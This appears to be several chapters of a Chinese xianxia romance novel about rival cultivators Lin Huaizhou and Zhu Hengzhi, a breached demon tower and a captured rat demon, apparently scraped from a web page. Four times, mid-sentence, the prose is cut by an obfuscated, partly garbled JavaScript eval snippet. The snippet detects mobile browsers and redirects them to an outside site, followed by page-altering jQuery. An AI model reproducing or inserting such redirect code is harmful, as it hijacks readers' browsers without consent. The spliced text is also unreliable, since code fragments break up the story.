而后,林淮舟便将木青所说的流胎法子言简意赅地解说了一遍:“就是这样,中元节是我唯一的机会,绝不容许有任何差池,否则我一定会杀了你。” “听起来,你会很危险,真的没有稍微妥当的办法吗?或许,我可以找找……” 林淮舟冷嗤截道:“祝珩之,要是我死了,你就如愿成为天下第一了,应该高兴才对吧?怎么现在一副悲天悯人的恶心嘴脸?还搁这儿演呢?” 浓郁的夜色如潮水般涌来,月光跳上祝珩之捶在衣侧的右手食指,大拇指若有若无摩挲着那半块朱砂痣,他低着头,五官没入阴影:“如果我以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林淮舟闭了闭眼,他从来是个规划清晰的人,今日要做什么,明日要做什么,甚至精细到一炷香一盏茶的功夫,他走的每一步说的每一句话都在自己控制范围之内,可千算万算,就是没算到,他和死对头居然会有一个共同的孩子。 是祸躲不过。 他很讨厌现在格外微妙的气氛,也很讨厌眼前这个变得很陌生的死对头,讨厌看不见未来的路,仿佛他们之间的关系开始笼罩着无法驱散的茫茫大雾,变得模糊起来。 这已经超脱林淮舟掌控之外的变化,他摁了摁额角,下逐客令:“你可以走了。” 祝珩之甫一抬步,又收了回来,唇瓣蠕动了好一会儿才发出声音:“你……那个,身体好点了吗?” “别在这里虚情假意,这一切全都拜你所赐,滚。”林淮舟毫不留情道。 “我知道自己做错了,可也得给人一个弥补的机会吧,人非圣贤孰能无过?我都说了我会竭尽全力保你和孩子,你总是摆出一副高高在上的样子,不近人情,不思人理,好,既然你不领情,那我滚,我滚得远远的,还不成吗?” 窗下燕子被忽而扬起的语调惊飞,扑腾扑腾刚飞两下,便略过宋竟满头大汗的额顶。 “大师哥!大师哥不好了!出事了!” 林淮舟和祝珩之下意识对视,视线刚一撞上就又默契地立即拉开,后者拿出主人架势般不问自答:“吵吵嚷嚷的作甚?师哥平时怎么教你们的?” 与此同时,林淮舟左袖袋急剧震动——星罗盘有动静了! - 10. 贱兮贱兮 原来,镇妖塔周围的地面忽然裂开了三五条深沟,全都蔓延至塔底,如今塔底已经开始坍塌,塔身也出现了许多裂缝,不少恶妖已经逃出塔外,天留山弟子们正全力用捆妖索制住。 与此同时,寒水涧赤霄阁弟子正分列两半圆,全力包围塔身,一人十指延申数不清的捆妖索,灵力不断沿着绳子传至塔身,一层又一层,密密麻麻,荧光闪烁,如蜘蛛铺天盖地织网。 恶妖已将那参天金塔包围得水泄不通,如无数奇形怪状的蝙蝠的黑影,它们在阵法中疯狂撞击、尖叫、怒吼、咒骂,甚至露出血牙撕咬索绳。 霍帆率先笑道:“咬吧,使劲儿咬,咬得越大口,死得越快。” 周围的人一脸信誓旦旦,纷纷露出看蠢货撞南墙的模样。 然而,那仙绳被咬了几口后,灵光却开始逐渐泯灭,而那黑影反而毫发无伤,兴奋至极,变得更加庞大。 众人齐齐震惊,霍帆瞠目道:“怎么可能?它们关在镇妖塔这么久,理应妖力大减,居然还能与捆妖索对抗?” 同时塔内千奇百怪的恶妖不断从裂缝钻出,很快,数以千计的捆妖索开始明明灭灭,灵力将滞。 恶妖伊始狂笑不止,犹如背靠一座能量源源不断的大山,更加卖力撕咬,越发强壮。 霍帆皱眉道:“不好,阵法要被破了!” “太奇怪了!它们怎么可能这么强?” 另一人焦急道:“这可怎么办?绝对不可以让他们出去危害人间!” 说时迟那时快,塔身外一圈又一圈的捆妖索变得无比暗淡,遑论众人如何加强灵力亦如盆水救火,啪啪啪,从塔尖往下的索绳,依次崩开一根又一根,数以万计的恶妖趁机咿咿呀呀哦吼吼吼窜天逃离。 千钧一发之际,浓黑的天际飞来一道圣洁蓝色的剑光,同时照亮所有仰视的眼眸,那光源当空急速旋转,铮的一声直挺挺钉在镇妖塔塔尖上融为一体。 “快看,是饮霜剑!” “大师哥来了!太好啦,大师哥来了!” 紧接着,一道颀长苍白的身影从天而降,衣袂与银发随风翻飞,只见他单脚立于剑柄捏诀念咒,忽而敛眉睁眼:“收!” 轰—— 强大的光芒瞬间开出一朵是白非白的巨型莲花,随着光线变亮,花瓣愈发宽阔,如无数只大手伸向妖影。 顷刻间,挣扎的恶妖被频频拢入花中,收进塔内,莲叶作墙,冰霜为浆,严丝合缝贴住镇妖塔所有的皲裂。 乌泱泱的苍穹逐渐晕染回正常的天光。 林淮舟自塔尖斜降,饮霜不召自入鞘,众人劫后余生,拥之而欢呼,祝珩之和霍帆被一下子挤在最外围。 霍帆见自家老大直勾勾看着被人群包围的林淮舟,眉宇浮着散不开的情绪,便夸张地一拍大腿,安慰道:“老大出手,肯定更厉害!” 换做平时,祝珩之定然一扬下巴,一展折扇,自信满满答道:“那是自然,小爷让给他表现而已,啧,就是那张脸太过招摇显眼,不好不好,一点都不好。” 可此时,祝珩之置若罔闻,并未理会。 待林淮舟吩咐众人四下检查镇妖塔,他方上前几步,隔着林淮舟曾经命令他保持的三米距离,亦能看见那惨白的唇纹和颤颤巍巍的手指,他握住拳头,松开,又握住,问道:“你……还好吗?” 林淮舟不知听没听见,看也没看他一眼,转身便挺拔地走向镇妖塔,同众人一起视察,一言一语的发力,一行一走的稳定,一点也不像孕吐得格外厉害的孕妇。 说起来,林淮舟着实是个稀罕的狠人。 孕吐了这么些天,东西一点都没吃进去,按理来说,力气早已被掏空,可祝珩之直到今天之前,依然看见他卯时檐下练剑、辰时冷瀑打坐、巳时练场看操、午时书房抄经、未时后山巡值、申时云海悟道、酉时擂台对战、戌时坐床周天。 可人毕竟不是神仙,方才他镇塔收妖的那一大招,可谓将他身上游丝的力气抽走了绝大部分。 虽然他藏起了发抖的手,试图多抿几下唇使其红润些,但祝珩之见他不留痕迹地绕过身前一个巴掌高的石头,可见,这个空壳已经虚弱到没力气跨步的程度了。 祝珩之不以为然,拉长声音风凉道:“犟成这种地步,感动的只有自己,甭以为你有多大能耐,终究还是凡胎,是个人,就得休息,除非啊,不是人咯。” 林淮舟忽而驻足。 一阵初夏的风非常应景地刮过,众人忽而如坠冰窖,忽而又如陷火山。 他们互相大眼瞪小眼,个个缩着脖子不约而同假装很忙,同时又不约而同往旁边安全区退去,格外自然地留下一大片足以过上百招的空地。 那里面,只有林淮舟和祝珩之对立而站,以各自脚底为始点,前者,厚重的冰霜嗞啦杀出一条粗壮如蟒的冰柱,后者,明艳的火苗尖啸飞出一只浴火鹰隼! 天地顿时变色,蓝红胶着,旁人眼珠子瞪得直掉地上。 这俩人还未着手调查镇妖塔裂缝根源,一身老天爷赏饭吃的本事,光顾着对付自己人了!? 只见那展翅鹰隼背水一战冲向蜿蜒巨蟒,众弟子的心当即狠狠揪在一起,霍帆双手合掌求天拜地,宋竞狠狠握拳嵌甲,齿根咬紧,都盼自己老大一定要赢而不伤。 当即将撞上的万分之一之际,那鹰隼忽而急速上升又俯冲,转眼间,它趁其不备不留余地堪堪捆住巨蟒,一瞬间,鹰翅大展,后者蜷缩又延申,愣是挣脱不掉,被绑架着并肩同撞去一块巨大的岩石。 宋竞怒道:“祝珩之!你卑鄙!” 宋竞正欲执剑扰乱祝珩之本体,忽然间,灵光大亮超过眼睛承受范围,耳边炸开轰隆一声——地动山摇,灰土弥漫,那巨岩生生被炸得粉碎,漫天石屑。 眼花耳鸣缓了好一会儿,宋竞模模糊糊看见祝珩之从碎石堆里单手拎出一个吱吱呀呀的灰棕色——老鼠?! “哈,原来是个臭地鼠啊。”祝珩之挑眉道。 那巴掌大的地鼠滋滋哇哇一通乱叫乱抓,竟然开口是个稚嫩的姑娘声:“姑奶奶一点都不臭!你个乳臭未干的混小子,快松手!” 祝珩之耸耸肩,手举高,五指一松,那地鼠一落地便转眼钻入土里,哼哧哼哧刨出一道弯弯曲曲的裂缝卖命逃开。 林淮舟平静道:“不是她。” “不是吗?”祝珩之反问。 “嗯。”林淮舟握着静如湖面的星罗盘道。 虽然宋竞不大明白“他”指的是什么,但也后知后觉,镇妖塔的地缝和塔身的裂痕,绝对跟这个地鼠妖脱不了干系。 应该是林淮舟率先观察到鼠妖躲在祝珩之身后的岩石里,不好打草惊蛇,便故意针峰对决,实际在声东击西,全力一招制服。 可一个小小的地鼠妖,怎么可能用得着这种置之死地而后生的绝招?更何况,还是天下第一与天下第二的大招。 小小鼠妖中了这么重的一击,居然还能活蹦乱跳除非,这鼠妖背后,修为极高的妖王护着。 如果真是如此,那么方才塔内的恶妖忽而妖力大涨之事,便解释得通了,但凡妖王级以上者,皆可将妖力传至目标者身上,随取随收。 这般看来,地鼠妖便是承载者,他钻出裂缝的同时,把妖力附着在塔内,滋养恶妖,助力破塔。 可自从紫邪之战封印妖神过后,那三大妖王便不知所踪,已经好几百年没有现身了。 但见那地洞翻起的新土越拱越长,宋竞忙追上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379703|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去:“别跑!站住!抓住她!” 锁妖塔的阵法已经被林淮舟恢复,那地鼠妖跑也跑不远,只能在这一圈范围内遁来遁去试图撞出条生路。 因为她实在太灵活了,一会儿在东,一会儿在西,众弟子们刺都刺不中,气急败坏,干脆撸起袖子,握住剑鞘守住每一个洞口,一上一下嘿嘿吼吼面朝黄土背朝天打起地鼠来。 林淮舟在一旁看着他们白忙活,面无表情:“废物。去。” 祝珩之:“……?” “谁让你放走她的?”林淮舟道。 “你也没说不让放啊?” 林淮舟皮笑肉不笑道:“祝公子,你是个十八岁以上的成年男子了,当有自己的判断力与思考能力,非要我开口说才不放吗?没用的东西。” “你都没阻止我,不相当于说了吗?”祝珩之一脸无辜。 “我只是想看你能蠢到什么地步。” 祝珩之:“我要是像他们那么蠢,适才我就猜不出你的策略,我就应该当面和你的法相杠上,就不会发现这个与妖王狼狈为奸的臭地鼠了,这么说,我可是帮了大忙的功臣!” 他转而捂着心脏痛苦皱眉,一脸委屈泪涔涔道:“亏人家还冒死护住你的法相,你不感激我就算了,还侮辱我高尚的人格与机智的脑子,呜呜呜,我弱小的心灵全被你玷污了!我以后可怎么活啊?你要对我负责呜呜呜嘤嘤嘤。” “是你自己主动舔上来的,我有说让你帮忙吗?‘大、功、臣’?” 林淮舟脸色本就苍白,如今可以说是像白纸一样白到病态,他微微一笑时,要合不合的眼皮似乎都在弱到发颤。 可他话语依然如一把锋芒四射的刀,狠狠剜进死对头心口,仿佛看见对方鲜血直流,自己就可以兴奋得多活一点似的。 就好像濒死之人在合上眼的最后一瞬间,灵机一动吻了吻死对头,看着获胜的对方呆滞、愕然、疑惑、求而不得的宛如手下败将的慌乱表情,当作祭祀自己的死亡之舞。 祝珩之:“……” “行,反正你看我哪哪都不顺眼,我走还不行吗?这些破事我也不想管了,你爱咋地咋地,你就算现在当场晕倒,就算活活累死了,我也不会搭一根手指头!不,一个眼神都不会施舍给你!” 祝珩之就像一只被满脸轻笑的主人戏弄后气急败坏的傲犬,说走转身就走。 然而,他刚抬步迈出一步,身后好似有什么重物直直摔倒,几乎同时他耳梢立马一动。 众弟子细细簌簌赶来,此起彼伏焦急喊道:“大师哥,大师哥怎么了……” 祝珩之一边大步往前走,一边恨铁不成钢啧了一声,啪啪扇了自己两大嘴巴子,脚步毫不犹豫往回折,吼道:“都起开!” 声音宛若洪钟震天,脸色如同阎罗索命,吓得连人群中最敢同他杠上的宋竞也情不自禁面露恐慌闪退一步。 他轻而易举横抱起柔弱无骨残败凋零的林淮舟,狠狠往旁边啐了一口,不知骂自己还是谁:“你真他娘的贱!啊!!!” 宋竞等人哪允许自家顶梁柱被对家就这么毫无防备地抱走?当即大步上前亮剑拦住:“祝师哥可问过我们寒水涧弟子?” 祝珩之本来就烦,怒上加怒:“闪开。” 宋竞不依不挠:“弟兄们,列剑阵!” 说时迟那时快,人影散开攒动,祝珩之被兜兜转转的银色剑光悉数包围,一如被关在一个雷打不破的虚无牢笼,退无可退,进无可进。 “你们别逼我。” 从旁人的角度看,祝珩之向来嘻嘻哈哈的表情居然变得有点阴暗可怖,完全像个陌生人。 宋竞喉结咽了咽,握紧被手汗打湿变滑的剑柄,硬着头皮号令:“上!” 11. 美人在怀 “且慢!” 众弟子立马身形一停,宋竞紧蹙的眉梢堪堪放缓,下意识以为祝珩之遇强则弱,遇硬则软,毕竟林淮舟多年亲手调教的万剑阵可不是吃素的。 忽而,空中急速飞来一个似流星的滚烫火球,肆无忌惮砸来,砰的一声剑阵炸开,火光直逼眼前,弟子们被一股热浪齐齐轰开。 待宋竞一行人再度睁眼,顶着灰扑扑的脸你看我我看你,面前哪还有祝珩之啊? 此时,高空传来一阵戏谑欠揍的笑声,祝珩之悠闲地盘腿坐在一把通身黑漆尖部着火的弯刀上,怀里靠着昏迷不醒的林淮舟,一手摇着五火七禽扇,眉眼弯弯。 他啧啧惋惜道:“若是师哥还醒着,见你们辛辛苦苦训练的万剑阵亦挡不住我的‘且慢’,肯定会把你们骂得痛哭流涕大卸八块剁个稀巴烂的哦。” 宋竞怒火中烧咬牙切齿:“追!” 咻咻咻—— 万剑齐齐化作一剑虚影,径自紧追浑身火焰的“且慢”,祝珩之轻轻一打响指,五火七禽扇便腾空而起,朝刀尾一扇,轰的一下,火焰冲天,燃起一道熊熊火墙,适时,正低飞过一片郁郁葱葱的草园。 “哪个杀千刀的把我宝贝草烧了!”闻声俯去,祝珩之见一青衫男子正捧着一堆灰烬哭哭啼啼。 “哦,差点把他给忘了,”他低语道,朝折扇一抬下巴,“去,把人带来。” 那折扇立马立正点头,视死如归般瞄准青衫,化作火石,俯冲到那人面前,礼貌一鞠躬。 对方还未反应过来,那扇子便化到他后面,深吸一大口气,顿时狂风四起,呼—— 正在埋头一抽一泣安葬草灰的青衫正翘起屁股,刹那间,凭空窜起红彤彤的火焰,他还未来得及尖叫一声,就像离弦的箭,朝竹苑的方向弹飞而起。 “啊啊呀呀嗷嗷!好高啊娘啊娘!我要让清也杀了你祝珩之!” 祝珩之嘴巴呈圆形,以手挡额,眺望那团愈来愈小的身影,赞赏地朝五火七禽扇竖起大拇指:“角度不错,有我的风范!” 那折扇一挺腰杆,忘我地原地搔首弄姿,仿佛在说“都是主人教导有方啦”。 且慢干脆停在半空,不满地抖得厉害。 祝珩之没好气拍了他一巴掌,道:“一家人有什么好吃醋的?还不走?” 剑柄两侧哔哔喷出火气,柄上的两颗红宝石滴溜溜一转,趁主人不备飞到五火七禽扇面前,噗的一声,喷了它满脸烟屁,下一瞬间就卯足火力追着木青的惨叫声消失了。 五火七禽扇鼓着腮奋力追赶刀尾,且慢不得不轰出最大火力,连祝珩之都劝阻不了,顷刻间,一个向上又向下的垂直急速大弯,双目阖起的林淮舟差点被晃了出去。 祝珩之不得不双手抱紧他,贴得衣领都染上了那淡淡的芙蓉冷香。 如瀑的银发随风或轻或重挠着他滚烫的耳尖和脖子,不知为何,林淮舟好似不大舒服这个姿势,皱眉动了动,薄而温热的呼吸若有若无擦过他嘴角。 “……” 要死。 竹苑就在眼前,祝珩之率先抱着林淮舟飞落地面,任由一刀一扇在空中斗个你死我活。 “我的琉璃镜,我的琉璃镜呢?”木青瞎了眼似的,狗吃屎的姿势趴在地上摸来摸去。 祝珩之兀自大步入屋,指尖一绕,挂在树枝上的琉璃镜瞬间挂回木青的鼻梁,与此同时,宋竞一行人也赶到了。 木青重见光明,却见林淮舟躺在床上昏迷不醒,暂不计较被烧掉的宝贝草药,兀自专注把脉,收回手,道:“他气太虚了,需要颅顶入针,你们谁帮忙把他发簪取下来?愿意的,请上前一步。” 孰料,宋竞等人连同木青不约而同后退一步,唯独祝珩之遗世独立地待在床前:“不就取个发簪吗?多大点事儿?” 说着,他弯腰上手就拉。 “等等,”木青抬手制止,推了推琉璃镜,认真问道:“你,做好准备了吗?” “什么?” “他醒来后,可能会把你打死……噢不是,是一定肯定必定加必须,会把你活活打死的,” 祝珩之:“?” 木青眼镜闪过一丝惨白的光芒,阴森森道:“您忘了吗?五年前,三根肋骨,两只眼睛,一条腿。” 话说回来,五年前,还是十七岁的祝珩之,初次遇到了同是十七岁的林淮舟。 那是一生顺风顺水的祝珩之最为坎坷悲惨的一日,亦是他日后过了奈何桥喝了孟婆汤,仍久久无法忘怀的一天。 当时,在京城最大最奢华的酒楼,祝珩之正举办最盛大的十七岁生辰宴,酒若泉瀑,美人如云,歌舞升平,宾客送的礼物从前门堆到后院。 他被人群簇拥着坐在正中央,尽兴观赏天下第一舞姬带来的绝美舞蹈。 忽然,一道雪白如霜的身影执剑从天而降,如天神下凡,脸上有一种不是同龄人的成熟与稳重,眼里毫无对绝美女色的沉迷,声音更是超脱凡俗的清冷:“受死吧。” 那少年如碎玉般清脆干净的声音,祝珩之回想起来,依旧还深深而清晰地回荡在他脑海里。 接着,那玉树临风的白衣少年,便与舞姬在台上激烈地对抗起来。 周围的人恨不得钻进地洞躲起来,十七岁的祝珩之东躲西藏,同时不忘凑近距离搭讪几句。 “公子,贵姓啊?” “你好香啊。” “鄙人姓祝,名珩之,还未表字,家住城东祝府,父母双全……” 甚至那少年和舞姬已经交手到他面前了,他还笑嘻嘻拉了拉人家衣袖:“公子,今晚可有兴趣喝一杯?” 然,那少年毫不客气抽空白了他一眼。 祝珩之当即直挺挺地定在原地,仿佛眼中只有他灵活的身姿与柔软的银发,简直看得眼睛发直。 “闪开!”那少年突然叫他。 祝珩之还傻乎乎道:“哦,鄙人不姓闪,姓祝,名……” “白痴!” 话音未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379704|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,祝珩之被突然跳到面前的少年一腿子踹飞,与此同时,一个四方桌腾空砸向少年,啪的一声,少年生生以剑劈开,凤眸冷峻,玉簪白净。 舞姬趁机化为一道妖影,眼看着就要消失得无影无踪,少年眯了眯眼,准备起跳追捕。 “少侠留步!” 就在祝珩之抬手腾空一抓的那瞬间,少年只觉头皮往后一扯,紧接着一松,认真盘好的银发悉数散落肩头,风一吹,如景似画,芙蓉冷香与泛着柔光的发丝相得益彰。 要知道,当时的林淮舟已经修练了十几年,速度快得无人可及的他,却被一个区区普通人像抓蝴蝶似的轻而易举抓住了……绝不可以被外人取下的玉簪。 后来具体发生什么,祝珩之不大记得了,只知道自己一觉醒来,哪哪都痛得快裂开了,只能像根木头似的僵硬地绑在床上。 当时伤势实在太严重了,民间大夫纷纷摇头,无法可医,是祝珩之他老娘,托关系请了远近闻名的木青下山,他才福大命大,堪堪避免了下半生残废和痴呆的风险。 之后,祝珩之散尽从小到大存在他娘那里的压岁钱,动用一起吃喝玩乐的所有猪朋狗友的关系,才打听到那玉面蛇心黑心烂肺残暴变态穷凶恶极的少年,竟是天留山妄静仙尊座下大弟子,修真界天下第一的捉妖奇才,人人口中的正义化身 ——林、淮、舟。 他深深记得,当夜,他拄着拐杖,单脚站在漆黑院子的石桌上,歪着裹了厚厚纱布的脖子,瞪着那凄冷高傲如白衣少年眼色的月亮,沉思一夜。 公鸡啼晓之际,他指着天留山方向,不顾一切,喊出足以改变他人生轨迹的重大决定——小爷要做天下第一,一雪前耻! 五年后的祝珩之回想起来,浑身骨骼仿佛都在撕裂,头皮还是没忍住发麻,他暗暗打了个冷颤,条件反射见鬼似的收回手,轻咳两声。 “谁说我怕他的?”祝珩之硬气地自问自答:“我可不怕他。” 他往前一步,用身体挡住背在后面的手,鬼鬼祟祟捋好被弄歪的玉簪。 木青摊手道:“那现在如何是好?玉簪取不下来,发顶太厚了,我没法入针啊。” 林淮舟面容平静,苍白如一尊不可亵玩的瓷娃娃,双手交叠枕于平坦的腹部,呼吸时快时慢,仿佛是腹中的那条意外的小生命在无声呼救。 僵持了一会儿,祝珩之抓抓头发,上前一步:“怕什么,他又没醒,你不说我不说,谁知道是谁干的?” 就在祝珩之冒死捏住玉簪的那一刻,一只秀白修长的手突然抬起,重重抓住他手腕,梦游似的一扭。 “嘎吱——” 周围的人不禁打了个冷颤,龇牙整齐发出一声:“咦惹。” 听那清脆响亮而果断的声音,也能感受到那跟十几头牛似的手劲儿,真不是一个气虚之人能拥有的。 已经痛到面无表情的祝珩之看见,那紧闭的狭长双目缓缓撑开一半,浓黑睫羽下的冰冷蓝眸含箭射出:“想死?” 12. 人类险恶 最终,还是林淮舟自己亲手取下玉簪。 除了自觉蒙上眼睛的木青,其余所有人被他一个眼神赶了出去,包括还算与他比较亲近的宋竞,好似谁也不能看见他披头散发的凌乱模样,一如黄花大闺女不能被看嫩白脚丫子似的。 “啊啊啊疼疼疼!!” 祝珩之一走出门,才呆滞地看了看他那异常曲度的手腕,开始五官扭曲嗷嗷死命叫。 “……”宋竞等人满脸写着“这人是不是有病”。 祝珩之一边疼得龇牙咧嘴一边朝屋内吼道:“林淮舟,小爷好心好意救你,你就这么报答我的?娘的,老子跟你势不两立!” 彼时,木青摸着墙走出来,撤下眼前布条:“别吵,病人已经睡了。” “他算哪门子病人?你看,轻轻一掰,就弯成这样了,骨头都快扎出来了!他还能睡得着?不行,我要赔偿!”祝珩之晃着面条似的手腕理直气壮道。 木青叹道:“祝公子稍安勿躁,清也嘛,从小就这样,脾气大,力气更大,而且无关之人真不能拿他的玉簪,这是规矩。” 祝珩之气笑道:“这他娘的什么破规矩?什么无关之人?一个簪子而已,又不是姑娘家的石榴裙,碰一下就要他命了?就可以随便打救命恩人了?再说,我还没拔呢,就碰到那么一丁点一丁点!我这尊贵无比法力无边的绝美之手,已经完全废了好吗?” 木青扶了扶琉璃,摇摇头,不知该从何解释,只好劝道:“这么说吧,早年有门派出了一个先天圣体,后来,她下山之时,一男子不小心看见了她的身体,圣女迫不得已要嫁给他,可他不愿娶,最终,圣女便遭天谴而亡。” 祝珩之一脸“你就扯蛋吧”:“我当年拔过一次,也没娶他,他不活得好好的?” 木青道:“说实话,他当年真的是把你往死里打,因为只有触犯圣体者死了,他就不用死了,谁知道,你福大命大,命不该绝,躲过了一劫,你们也就相安无事啦。” 祝珩之:“……” 木青再次强调:“每个圣体都有不可窥之处,可能,清也的宿命,便是这个玉簪吧,反正,你还是吸取教训,等他醒了去道个歉,不然等他身体恢复后,可就不是一只手的问题了。” “凭什么?他还真是被宠得无法无天了,皇帝都没他娇贵,什么事都高高在上,一定要别人低头,要打便打,又不是没打过架,老子这回绝对不会手下留情。” 木青掏掏耳朵,一脸“我信你个鬼”,实在不知道该如何调解,便拉过祝珩之的手,咔嚓两下接好了骨头,郑重其事深深看了他一眼。 “唉,哥很迷人,但哥对男的不感兴趣呢,哥喜欢肤白貌美大长腿,温柔贤惠小猫咪哦。”话罢,还眨眨眼,响亮地弹了一下舌。 木青额角抽搐大跌眼镜:“……我总算知道,清也为什么这么喜欢扇你了。” 适时,宋竞腰间玉牌颤动,他捏诀侧耳感知讯息,片刻,一脸忧虑问:“木青长辈,请问大师哥何时能醒?” “明天吧,出什么事了吗?” “方才审戒堂弟子来讯,说那地鼠妖,无论如何也不愿招出背后指使者,需要大师哥明示。” 祝珩之啧了一声,道:“一群废物,自己不会动脑子吗?他都躺成那样儿了,难不成要给他扎几针续几口气,把地鼠妖解决了再长眠不起吗?什么都赖着他,难怪把他惯得这么娇纵无理。” 宋竞急了:“你别站着说话不腰疼,你有管过天留山的事吗?还自称什么二师哥,一有事连个人影都见不着,我呸,自从掌门闭关后,大师哥劳心劳力,鞠躬尽瘁,有多辛苦你又知道多少?” 祝珩之道:“是,大师哥能力出众,万人敬仰,乃全天下修士的榜样,一个个都点头哈腰听他差遣,可现在呢,人一倒下,你们就像无头苍蝇似的全乱套了。还不是他平日只会把所有大事小事揽自己身上,把你们一个个变成还没断奶的巨婴?可笑,成百上千个修士连一个刚成精的地鼠小妖的嘴都撬不开。” 宋竞脸色铁青:“你……你又有什么本事?尽在这里大放厥词,只会逞嘴皮子功夫!” “我?”祝哼之勾唇一笑,“哼,我有没有本事,等会儿你们就知道了。关键时刻,还是要靠小爷力挽狂澜啊。” 挑眉说最后一句话时,他转身扬长吹一声口哨,眼神意味深长地瞟了眼窗户后安详沉眠的林淮舟。 审戒堂,地牢。 “我劝你们还是尽快放了我,否则我上面的人一来,你们啊,就全都死光光,到时候喊姑奶奶饶命,可就来不及咯。” 祝珩之刚迈进门槛,便听见小姑娘大言不惭吓唬一左一右看管他的弟子。 此时,地鼠妖被闪着灵光的捆妖索绑在一张椅子上,她已经显出人身,翩翩少女,毛茸茸的棕色衣裳,水灵灵的大眼睛闪着精光,精巧的下巴高高翘起,俏皮可爱。 “二师哥。”那弟子恭敬唤道。 祝珩之微微颌首做应,闲庭信步负手走到小姑娘跟前,在她背后贴了一张符,速度快得没人反应过来。 他笑吟吟一眯眼,瞳色骤然变红,声音低沉微哑:“小美人儿,说,谁派你来的?” 身上的黄符闪了闪,她整个人的表情变得呆滞而空白,可一句话也没说,就像睁眼睡着似的。 祝珩之脸色闪过一丝疑虑,很快,他又有第二个主意,只见他又掏出一张符,凌空画线,闭眼喝道:“入!” 再度睁眼,他周围一片漆黑,伸手不见五指,他继续问同一个问题,可没有任何回复,他神色更加古怪。 按理来说,首先,以他的功法练就的真言符,本就不应该失效,其次,即便真有非常特殊的情况失效了,可通过控制灵识来窃取真话这一块,是断断不会失败的,他也从未见过没有任何回应的灵识。 除非,对方早已预料到他会这么做,并且熟稔地设置了连他都感知不到的预防术,抑或是,这个躯体非人非妖,只是个傀儡似的空壳。 祝珩之碰一鼻子灰钻了出来,须臾,他眼珠子一转,施法唤醒小姑娘,对那看管的弟子道:“怎么对待人家小姑娘的?如此粗鲁?还不快快松绑。” 力挽狂澜的祝珩之倒是第一时间喝起自己人来了。 那弟子一头雾水,可想必二师哥有别的法子罢,便听令解开了绳子。 只见祝珩之上前弯腰,嘴角熟练勾起恰到好处的弧度:“敢问姑娘贵姓?” 合着这是啥也不挑地在搭讪?!直接投敌了? 少女转了转酸疼的手腕:“我要出去。” “好。” 那弟子惊呆下巴,阻止道:“二师哥!” 祝珩之发暗的眼神一移过去,他们立即熄火。 少女笑吟吟对祝珩之道:“你还挺有意思的嘛。” “有意思的多了去了,不知姑娘可有兴趣一起去试试?反正我也放你自由了。” 祝珩之不失礼仪地向前一步,声音低沉,歪歪头,墨瞳微弯,毫无保留将京城第一帅的迷人之气颇有技巧地散发到最大限度。 果不其然,少女最挡不住美男计这一套,迫不及待问:“什么什么?” “比如,你的衣服已经破旧了,我们先去锦绣阁买几套新的,那里的绫罗绸缎皆选用特选的顶级蚕丝,工艺繁复,穿在身上,仿若云霞披身,美若天仙;接着,我们一定要选与衣裳匹配的鞋子,那定然是步云斋了,他家的绣鞋鞋面用的是南海鲛人所织的鲛绡,轻柔透气,再镶以珍贵的白玉片,走起路来步步生莲,独一无二。” “不错嘛。”少女颌首道。 祝珩之继续滔滔不绝道:“漂亮的首饰也是万万不能少的,那就要去西市的玲珑轩了,那里的簪子全部以纯金打造,用的是深海中极为罕见的珍珠和宝石,色泽艳丽,精美绝伦。” “而且啊,你换个发髻会更漂亮,我们买完东西后,就去云髻坊,那里能根据你的长相,做出各种复杂精美的发髻,其中有一种 “堕马髻”,就特别适合你,简直为你量身打造的,整个发髻温婉又不失灵动,定然倾国倾城。” 少女听得眼睛直直发亮:“听起来好像挺好的,我还没去逛过人间市集呢,不过,这么久下来,我肯定会饿死的。” 祝珩之彬彬有礼道:“这你就不用操心,我早有安排,吃美食自然要到京城最好的聚仙楼,那里正好就在云鬓坊附近,你做头发耗时较久,我们可以直接叫外送,这样,你一边吃得满足,一边看着自己变美,多好。 ” 少女问:“那里有土豆吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379705|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有,什么都有,大的小的圆的扁的深色的浅色的发芽的不发芽的,只要你想吃,我什么都可以给你带到。”祝珩之微微一笑道。 “好呀好呀,走走走,快点。”少女蹦蹦跳跳推着祝珩之出门。 锦绣阁是京城最大最奢华的衣裳铺子,宽敞明亮,精美绝伦的锦缎一层叠一层,琳琅满目,应接不暇。 少女睁大眼睛不可思议道:“哇,好多颜色好多花样啊!” 